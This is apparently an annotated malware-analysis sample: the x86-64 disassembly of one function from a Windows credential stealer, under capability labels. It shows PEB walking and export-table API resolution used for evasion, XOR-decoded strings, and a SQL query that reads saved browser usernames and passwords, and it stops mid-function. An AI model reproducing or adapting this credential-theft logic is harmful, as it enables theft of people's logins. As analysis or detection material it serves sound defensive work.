Function at 0x140047330
Capabilities:
Access peb ldr_data
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [0x140181020]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
mov rdi, r9
mov qword [rbp + 8], r9
mov r15, r8
mov qword [rbp], r8
mov qword [rbp + 0x60], rdx
mov qword [rbp + 0x118], r8
mov qword [rbp + 0x120], r9
mov eax, dword [rbp + 0x240]
mov dword [rsp + 0x44], eax
mov rbx, qword [rbp + 0x250]
mov qword [rsp + 0x78], rbx
mov qword [rbp + 0x128], rbx
xor r13d, r13d
mov esi, r13d
mov dword [rsp + 0x40], r13d
mov rdx, r9
lea rcx, [rbp + 0x170]
call fcn.140005930
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.140041480
nop
cmp qword [rbp + 0x1c0], r13
jne 0x1400473f7
lea rcx, [rbp + 0x1b0]
call fcn.140005a50
nop
mov rcx, r15
call fcn.140005a50
nop
mov rcx, rdi
call fcn.140005a50
nop
mov rcx, rbx
jmp 0x140049272
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], r13
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], 0
lea rcx, [rbp + 0x90]
call fcn.140050dc0
mov rbx, rax
movsx edi, byte [rax]
mov ecx, edi
call fcn.140014160
add edi, eax
cmp edi, 0xfffffff0
jg 0x140047444
mov edx, 0x84
call fcn.140052d80
cmp edi, 0xffffffb7
jg 0x140047453
mov edx, 0x9d
call fcn.140052d80
imul edi, edi, 0x5bd1e995
mov r9d, r13d
lea r8, [rbx + 4]
mov r10, r8
mov r14d, 8
mov r11d, r14d
nop dword [rax]
mov eax, edi
shr eax, 0x18
xor eax, edi
imul ecx, eax, 0x5bd1e995
xor ecx, r9d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140047470
mov r9d, dword [0x14018719c]
mov rdx, qword [rbx + 0x28]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x1400474d1
mov rdx, r13
jmp 0x140047516
movzx eax, byte [rbx]
xor byte [rdx], al
movzx eax, byte [rbx]
xor byte [rdx + 1], al
movzx eax, byte [rbx]
xor byte [rdx + 2], al
movzx eax, byte [rbx]
xor byte [rdx + 3], al
movzx eax, byte [rbx]
xor byte [rdx + 4], al
movzx eax, byte [rbx]
xor byte [rdx + 5], al
movzx eax, byte [rbx]
xor byte [rdx + 6], al
movzx eax, byte [rbx]
xor byte [rdx + 7], al
movzx eax, byte [rbx]
xor byte [rdx + 8], al
movzx eax, byte [rbx]
xor byte [rdx + 9], al
movzx eax, byte [rbx]
xor byte [rdx + 0xa], al
mov byte [rdx + 0xb], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140047530
lea rcx, [rsp + 0x58]
call fcn.140005e70
nop
mov r8, r15
cmp qword [r15 + 0x18], 0x10
jb 0x140047552
mov r8, qword [r15]
mov r9, qword [r15 + 0x10]
lea rcx, [rsp + 0x58]
call fcn.140025e60
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or esi, 8
mov dword [rsp + 0x40], esi
lea rcx, [rsp + 0x58]
call fcn.140005a50
lea r12, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0x10
cmovae r12, qword [rbp + 0x190]
lea rcx, [rbp - 0x80]
call fcn.140050f20
mov rbx, rax
movsx edi, byte [rax]
mov ecx, edi
call fcn.140014160
add edi, eax
cmp edi, 0xfffffff0
jg 0x1400475e8
mov edx, 0x84
call fcn.140052d80
cmp edi, 0xffffffb7
jg 0x1400475f7
mov edx, 0x9d
call fcn.140052d80
imul edi, edi, 0x5bd1e995
mov r9d, r13d
lea r8, [rbx + 4]
mov r10, r8
mov r11, r14
nop word [rax + rax]
mov eax, edi
shr eax, 0x18
xor eax, edi
imul ecx, eax, 0x5bd1e995
xor ecx, r9d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140047610
mov r9d, dword [0x14018719c]
mov rdx, qword [rbx + 0x28]
call fcn.1400525a0
mov rdi, rax
test rax, rax
jne 0x140047671
mov rdi, r13
jmp 0x1400476b6
movzx eax, byte [rbx]
xor byte [rdi], al
movzx eax, byte [rbx]
xor byte [rdi + 1], al
movzx eax, byte [rbx]
xor byte [rdi + 2], al
movzx eax, byte [rbx]
xor byte [rdi + 3], al
movzx eax, byte [rbx]
xor byte [rdi + 4], al
movzx eax, byte [rbx]
xor byte [rdi + 5], al
movzx eax, byte [rbx]
xor byte [rdi + 6], al
movzx eax, byte [rbx]
xor byte [rdi + 7], al
movzx eax, byte [rbx]
xor byte [rdi + 8], al
movzx eax, byte [rbx]
xor byte [rdi + 9], al
movzx eax, byte [rbx]
xor byte [rdi + 0xa], al
mov byte [rdi + 0xb], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov eax, 0x5a4d
cmp qword [rsi + 0x60], 0
je 0x140047783
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x1400476cf
cmp word [r11], ax
jne 0x140047783
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140047783
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140047783
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, r13d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1400476ca
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140047772
mov rdx, rdi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14004776d
cmp byte [rcx], al
jne 0x140047772
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140047745
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x140047786
test r8b, r8b
jne 0x14004775c
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140047731
jmp 0x1400476ca
mov rax, r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 7]
mov rcx, r12
call rax
cmp rax, 0xffffffffffffffff
je 0x140049232
lea rcx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0x10
cmovae rcx, qword [rbp + 0x190]
xor r9d, r9d
lea r8d, [r9 + 6]
lea rdx, [rsp + 0x50]
call fcn.1401232c0
test eax, eax
jne 0x140049232
movzx r8d, byte [rsp + 0x48]
lea rdx, str.SELECT_origin_url__action_url__username_value__password_value_FROM_logins
lea rcx, [rbp - 0x80]
call fcn.140051080
mov rcx, rax
call fcn.14004bd00
mov qword [rsp + 0x30], r13
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8d, [r9 - 1]
mov rdx, rax
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
call fcn.1400e14c0
test eax, eax
je 0x140047844
xor edx, edx
mov rcx, rbx
call fcn.140120730
jmp 0x140049232
mov rcx, qword [rbp + 0xe0]
call fcn.14008f6a0
cmp eax, 0x64
jne 0x1400486db
lea r14, [0x140162508]
lea esi, [rax - 0x5c]
mov r15d, 0x202
lea r12d, [rax - 0x62]
nop dword [rax]
mov cl, 0x2e
mov byte [rbp - 0x80], cl
mov dword [rbp - 0x50], 0x14425c5b
mov word [rbp - 0x4c], 0xe
movsx ebx, cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14004789d
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x1400478ac
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r13d
lea r9, [rbp - 0x7c]
mov r10, rsi
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400478c0
mov eax, 5
nop dword [rax]
inc eax
test al, 0xf
jne 0x140047910
mov qword [0x140187190], r13
lea edi, [rax + 8]
mov edx, edi
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
test rax, rax
jne 0x14004793b
mov rbx, r13
jmp 0x14004797c
mov dword [0x14018719c], edi
mov dword [0x140187198], 5
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
mov eax, dword [rbp - 0x50]
mov dword [rbx + 8], eax
movzx eax, byte [rbp - 0x4c]
mov byte [rbx + 0xc], al
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rbp - 0x7c]
mov r8b, 1
call fcn.140052470
mov qword [rbp - 0x58], rbx
movsx ebx, byte [rbp - 0x80]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14004799c
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x1400479ab
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r13d
lea r9, [rbp - 0x7c]
mov r10, rsi
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400479c0
mov r9d, dword [0x14018719c]
lea r8, [rbp - 0x7c]
mov rdx, qword [rbp - 0x58]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x140047a30
mov rdx, r13
jmp 0x140047a46
movzx eax, byte [rbp - 0x80]
xor byte [rdx], al
xor byte [rdx + 1], al
xor byte [rdx + 2], al
xor byte [rdx + 3], al
xor byte [rdx + 4], al
mov byte [rdx + 5], 0
lea rcx, [rbp + 0x150]
call fcn.140005750
mov rbx, qword [rbp + 0xe0]
test rbx, rbx
je 0x140047a9a
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x140047a70
call qword [0x140181e70]
mov rcx, qword [rbx + 0xa0]
test rcx, rcx
je 0x140047a86
cmp r13w, word [rbx + 0xc0]
jb 0x140047a9d
mov rcx, qword [rbx]
mov dword [rcx + 0x50], 0x19
mov edx, 0x19
call fcn.1400614d0
mov rcx, r14
movzx edx, word [rcx + 0x14]
movzx eax, dx
and ax, r15w
cmp ax, r15w
jne 0x140047aba
cmp byte [rcx + 0x16], 1
jne 0x140047aba
mov rax, qword [rcx + 8]
jmp 0x140047acb
test dl, 1
je 0x140047ac4
mov rax, r13
jmp 0x140047acb
mov dl, 1
call fcn.1400889f0
mov rdi, rax
test rbx, rbx
je 0x140047b08
mov edx, dword [rbx + 0x34]
mov rcx, qword [rbx]
cmp byte [rcx + 0x67], 0
jne 0x140047ae8
test edx, edx
jne 0x140047ae8
mov eax, r13d
jmp 0x140047aed
call fcn.14005dd90
mov dword [rbx + 0x34], eax
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
mov rax, rdi
test rcx, rcx
je 0x140047b08
call qword [0x140181e80]
mov rax, rdi
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.140005750
mov cl, 0x74
mov byte [rbp - 0x80], cl
mov dword [rbp - 0x50], 0x17157e
mov dword [rbp - 0x4c], 0x4e1a1b1d
mov word [rbp - 0x48], 0x54
movsx ebx, cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140047b4b
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140047b5a
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r13d
lea r9, [rbp - 0x7c]
mov r10, rsi
nop dword [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140047b70
mov eax, 9
nop dword [rax]
inc eax
test al, 0xf
jne 0x140047bc0
mov qword [0x140187190], r13
lea edi, [rax + 8]
mov edx, edi
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
test rax, rax
jne 0x140047beb
mov rbx, r13
jmp 0x140047c30
mov dword [0x14018719c], edi
mov dword [0x140187198], 9
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
movsd xmm0, qword [rbp - 0x50]
movsd qword [rbx + 8], xmm0
movzx eax, byte [rbp - 0x48]
mov byte [rbx + 0x10], al
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rbp - 0x7c]
mov r8b, 1
call fcn.140052470
mov qword [rbp - 0x58], rbx
movsx ebx, byte [rbp - 0x80]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140047c50
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140047c5f
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r13d
lea r9, [rbp - 0x7c]
mov r10, rsi
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140047c70
mov r9d, dword [0x14018719c]
lea r8, [rbp - 0x7c]
mov rdx, qword [rbp - 0x58]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x140047ce0
mov rdx, r13
jmp 0x140047d02
movzx eax, byte [rbp - 0x80]
xor byte [rdx], al
xor byte [rdx + 1], al
xor byte [rdx + 2], al
xor byte [rdx + 3], al
xor byte [rdx + 4], al
xor byte [rdx + 5], al
xor byte [rdx + 6], al
xor byte [rdx + 7], al
xor byte [rdx + 8], al
mov byte [rdx + 9], 0
lea rcx, [rbp + 0x150]
call fcn.140005750
mov rbx, qword [rbp + 0xe0]
test rbx, rbx
je 0x140047d65
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x140047d2c
call qword [0x140181e70]
mov rcx, qword [rbx + 0xa0]
test rcx, rcx
je 0x140047d51
mov eax, 1
cmp ax, word [rbx + 0xc0]
jae 0x140047d51
add rcx, 0x38
jne 0x140047d68
mov rdi, r13
jmp 0x140047d9e
mov rcx, qword [rbx]
mov dword [rcx + 0x50], 0x19
mov edx, 0x19
call fcn.1400614d0
mov rcx, r14
movzx edx, word [rcx + 0x14]
movzx eax, dx
and ax, r15w
cmp ax, r15w
jne 0x140047d85
cmp byte [rcx + 0x16], 1
jne 0x140047d85
mov rdi, qword [rcx + 8]
jmp 0x140047d99
test dl, 1
je 0x140047d8f
mov rdi, r13
jmp 0x140047d99
mov dl, 1
call fcn.1400889f0
mov rdi, rax
test rbx, rbx
je 0x140047dcd
mov edx, dword [rbx + 0x34]
mov rcx, qword [rbx]
cmp byte [rcx + 0x67], 0
jne 0x140047db3
test edx, edx
jne 0x140047db3
mov eax, r13d
jmp 0x140047db8
call fcn.14005dd90
mov dword [rbx + 0x34], eax
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x140047dcd
call qword [0x140181e80]
mov rdx, rdi
lea rcx, [rbp + 0x150]
call fcn.140005750
lea rcx, [rbp - 0x80]
call fcn.140051270
mov rdi, rax
movsx ebx, byte [rax]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140047e03
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140047e12
mov edx, 0x9d
call fcn.140052d80
imul ebx, ebx, 0x5bd1e995
mov r9d, r13d
lea r8, [rdi + 4]
mov r10, r8
mov r11, rsi
nop word [rax + rax]
mov eax, ebx
shr eax, 0x18
xor eax, ebx
imul eax, eax, 0x5bd1e995
mov ecx, r9d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140047e30
mov r9d, dword [0x14018719c]
mov rdx, qword [rdi + 0x28]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x140047ea0
mov rdx, r13
jmp 0x140047edf
movzx eax, byte [rdi]
xor byte [rdx], al
movzx eax, byte [rdi]
xor byte [rdx + 1], al
movzx eax, byte [rdi]
xor byte [rdx + 2], al
movzx eax, byte [rdi]
xor byte [rdx + 3], al
movzx eax, byte [rdi]
xor byte [rdx + 4], al
movzx eax, byte [rdi]
xor byte [rdx + 5], al
movzx eax, byte [rdi]
xor byte [rdx + 6], al
movzx eax, byte [rdi]
xor byte [rdx + 7], al
movzx eax, byte [rdi]
xor byte [rdx + 8], al
movzx eax, byte [rdi]
xor byte [rdx + 9], al
mov byte [rdx + 0xa], 0
lea rcx, [rbp + 0x150]
call fcn.140005750
mov rbx, qword [rbp + 0xe0]
test rbx, rbx
je 0x140047f3e
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x140047f09
call qword [0x140181e70]
mov rcx, qword [rbx + 0xa0]
test rcx, rcx
je 0x140047f2a
cmp r12w, word [rbx + 0xc0]
jae 0x140047f2a
add rcx, 0x70
jne 0x140047f41
mov rdi, r13
jmp 0x140047f77
mov rcx, qword [rbx]
mov dword [rcx + 0x50], 0x19
mov edx, 0x19
call fcn.1400614d0
mov rcx, r14
movzx edx, word [rcx + 0x14]
movzx eax, dx
and ax, r15w
cmp ax, r15w
jne 0x140047f5e
cmp byte [rcx + 0x16], 1
jne 0x140047f5e
mov rdi, qword [rcx + 8]
jmp 0x140047f72
test dl, 1
je 0x140047f68
mov rdi, r13
jmp 0x140047f72
mov dl, 1
call fcn.1400889f0
mov rdi, rax
test rbx, rbx
je 0x140047fa6
mov edx, dword [rbx + 0x34]
mov rcx, qword [rbx]
cmp byte [rcx + 0x67], 0
jne 0x140047f8c
test edx, edx
jne 0x140047f8c
mov eax, r13d
jmp 0x140047f91
call fcn.14005dd90
mov dword [rbx + 0x34], eax
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x140047fa6
call qword [0x140181e80]
mov rdx, rdi
lea rcx, [rbp + 0x150]
call fcn.140005750
lea rcx, [rbp - 0x80]
call fcn.1400513d0
mov rdi, rax
movsx ebx, byte [rax]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140047fdc
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140047feb
mov edx, 0x9d
call fcn.140052d80
imul ebx, ebx, 0x5bd1e995
mov r9d, r13d
lea r8, [rdi + 4]
mov r10, r8
mov r11, rsi
nop
mov eax, ebx
shr eax, 0x18
xor eax, ebx
imul eax, eax, 0x5bd1e995
mov ecx, r9d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140048000
mov r9d, dword [0x14018719c]
mov rdx, qword [rdi + 0x28]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x140048070
mov rdx, r13
jmp 0x1400480af
movzx eax, byte [rdi]
xor byte [rdx], al
movzx eax, byte [rdi]
xor byte [rdx + 1], al
movzx eax, byte [rdi]
xor byte [rdx + 2], al
movzx eax, byte [rdi]
xor byte [rdx + 3], al
movzx eax, byte [rdi]
xor byte [rdx + 4], al
movzx eax, byte [rdi]
xor byte [rdx + 5], al
movzx eax, byte [rdi]
xor byte [rdx + 6], al
movzx eax, byte [rdi]
xor byte [rdx + 7], al
movzx eax, byte [rdi]
xor byte [rdx + 8], al
movzx eax, byte [rdi]
xor byte [rdx + 9], al
mov byte [rdx + 0xa], 0
lea rcx, [rbp + 0x150]
call fcn.140005750
mov rbx, qword [rbp + 0xe0]
test rbx, rbx
je 0x140048115
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x1400480d9
call qword [0x140181e70]
mov rcx, qword [rbx + 0xa0]
test rcx, rcx
je 0x140048101
mov eax, 3
cmp ax, word [rbx + 0xc0]
jae 0x140048101
add rcx, 0xa8
jne 0x140048118
mov rdi, r13
jmp 0x14004814e
mov rcx, qword [rbx]
mov dword [rcx + 0x50], 0x19
mov edx, 0x19
call fcn.1400614d0
mov rcx, r14
movzx edx, word [rcx + 0x14]
movzx eax, dx
and ax, r15w
cmp ax, r15w
jne 0x140048135
cmp byte [rcx + 0x16], 1
jne 0x140048135
mov rdi, qword [rcx + 8]
jmp 0x140048149
test dl, 1
je 0x14004813f
mov rdi, r13
jmp 0x140048149
mov dl, 1
call fcn.1400889f0
mov rdi, rax
test rbx, rbx
je 0x14004817d
mov edx, dword [rbx + 0x34]
mov rcx, qword [rbx]
cmp byte [rcx + 0x67], 0
jne 0x140048163
test edx, edx
jne 0x140048163
mov eax, r13d
jmp 0x140048168
call fcn.14005dd90
mov dword [rbx + 0x34], eax
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14004817d
call qword [0x140181e80]
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], r13
mov qword [rbp + 0x148], r13
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x1400481a0
mov rdx, rdi
lea rcx, [rbp + 0x130]
call fcn.140005e70
nop
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x170]
call fcn.140005930
mov rcx, rax
call fcn.140044370
test al, al
je 0x140048234
lea rax, [rbp + 0x68]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x68]
call fcn.140005930
mov rbx, rax
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x10]
call fcn.140005930
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140042940
nop
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.1400057f0
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
jmp 0x1400484e0
lea rax, [rbp + 0x130]
cmp qword [rbp + 0x148], 0x10
cmovae rax, qword [rbp + 0x130]
mov qword [rbp + 0x100], rax
mov eax, dword [rbp + 0x140]
mov dword [rbp + 0xf8], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
lea rcx, [rbp - 0x80]
call fcn.140051530
mov rbx, rax
movsx edi, byte [rax]
mov ecx, edi
call fcn.140014160
add edi, eax
cmp edi, 0xfffffff0
jg 0x14004828f
mov edx, 0x84
call fcn.140052d80
cmp edi, 0xffffffb7
jg 0x14004829e
mov edx, 0x9d
call fcn.140052d80
imul edi, edi, 0x5bd1e995
mov r9d, r13d
lea r8, [rbx + 4]
mov r10, r8
mov r11, rsi
nop dword [rax]
nop word [rax + rax]
mov eax, edi
shr eax, 0x18
xor eax, edi
imul eax, eax, 0x5bd1e995
mov ecx, r9d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x1400482c0
mov r9d, dword [0x14018719c]
mov rdx, qword [rbx + 0x28]
call fcn.1400525a0
mov r14, rax
test rax, rax
jne 0x140048323
mov r14, r13
jmp 0x140048383
mov r8, r13
movsx eax, byte [rbx]
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
lea rax, [r14 + 0x11]
cmp r14, rbx
ja 0x140048348
cmp rax, rbx
jae 0x14004835b
movdqu xmm0, xmmword [r14]
xorps xmm1, xmm0
movdqu xmmword [r14], xmm1
mov r8d, 0x10
lea rcx, [r8 + r14]
mov edx, 0x12
sub rdx, r8
nop word [rax + rax]
movzx eax, byte [rbx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140048370
mov byte [r14 + 0x12], dl
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
cmp qword [rsi + 0x60], 0
je 0x14004844c
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x140048397
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x14004844c
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14004844c
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14004844c
lea rax, [r11 + rcx]
mov r15d, dword [rax + 0x1c]
add r15, r11
mov edi, dword [rax + 0x20]
add rdi, r11
mov r12d, dword [rax + 0x24]
add r12, r11
mov r10d, r13d
mov r9, r13
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140048397
xor dl, dl
mov eax, dword [rdi + r9*4]
add rax, r11
cmp byte [rax], dl
je 0x14004843c
mov r8, r14
sub r8, rax
movzx ecx, byte [r8 + rax]
test cl, cl
je 0x140048438
cmp byte [rax], cl
jne 0x14004843c
mov dl, 1
inc rax
cmp byte [rax], 0
jne 0x140048413
movzx eax, word [r12 + r9*2]
mov r10d, dword [r15 + rax*4]
add r10, r11
jmp 0x14004844f
test dl, dl
jne 0x14004842a
inc r10d
inc r9
cmp r10d, ebx
jb 0x140048400
jmp 0x140048397
mov r10, r13
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xf8]
call r10
mov r8d, dword [rbp + 0xe8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], r13
mov qword [rbp + 0x188], r13
mov rdx, qword [rbp + 0xf0]
lea rcx, [rbp + 0x170]
call fcn.140005e70
nop
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x150]
call fcn.1400057f0
nop
lea rcx, [rbp + 0x170]
call fcn.140005a50
mov esi, 8
lea r14, [0x140162508]
mov r15d, 0x202
lea r12d, [rsi - 6]
mov cl, 0x10
mov byte [rbp - 0x80], cl
mov word [rbp - 0x50], 0x1a1a
xor eax, eax
mov byte [rbp - 0x4e], al
movsx ebx, cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14004850b
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14004851a
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r13d
lea r9, [rbp - 0x7c]
mov r10, rsi
nop dword [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
